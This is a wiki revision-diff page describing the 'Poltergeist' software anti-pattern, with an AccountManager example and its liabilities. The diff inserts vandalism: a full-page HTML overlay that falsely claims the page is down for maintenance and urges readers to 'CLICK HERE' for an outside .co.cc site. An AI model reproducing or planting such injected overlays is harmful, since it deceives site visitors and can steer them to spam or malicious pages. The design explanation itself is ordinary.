Poltergeists

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
m
Line 5: Line 5:
 
Poltergeists can be easily removed by deleting the poltergeist class and inserting its behavior into the class that it calls.
 
Poltergeists can be easily removed by deleting the poltergeist class and inserting its behavior into the class that it calls.
  
==Example==
+
>==Example==
  
 
Imagine that we are building a baking system and have an account class to store information about accounts. Every time we need to create an account or make a transaction, we create an AccountManager object for that account which takes care of that by calling methods on the Account class.  
 
Imagine that we are building a baking system and have an account class to store information about accounts. Every time we need to create an account or make a transaction, we create an AccountManager object for that account which takes care of that by calling methods on the Account class.  
  
 
In this case, AccountManager objects are poltergeists and appear and disappear as necessary. Instead, the functionality should be moved into the Account class and those methods should be called directly by clients.
 
In this case, AccountManager objects are poltergeists and appear and disappear as necessary. Instead, the functionality should be moved into the Account class and those methods should be called directly by clients.
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ototeji.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ototeji.co.cc CLICK HERE]=
 +
----
 +
</div>
  
 
==Liabilities==
 
==Liabilities==

Revision as of 04:03, 18 November 2010

A poltergeist (or gypsy wagon) is a temporary and usually stateless object that is used to initialize or call methods of a more permanent object. It is usually very short lived and appears and disappears quickly.

Poltergeists can sometimes be identified by their names, which often includes the phrases manager or controller.

Poltergeists can be easily removed by deleting the poltergeist class and inserting its behavior into the class that it calls.

>==Example==

Imagine that we are building a baking system and have an account class to store information about accounts. Every time we need to create an account or make a transaction, we create an AccountManager object for that account which takes care of that by calling methods on the Account class.

In this case, AccountManager objects are poltergeists and appear and disappear as necessary. Instead, the functionality should be moved into the Account class and those methods should be called directly by clients.


Liabilities

  • Code can be difficult to understand and maintain since it can be hard to figure out where poltergeists come from and what they do.
  • Resources are wasted because unnecessary objects have to be created and destroyed.

Related design heuristics


Personal tools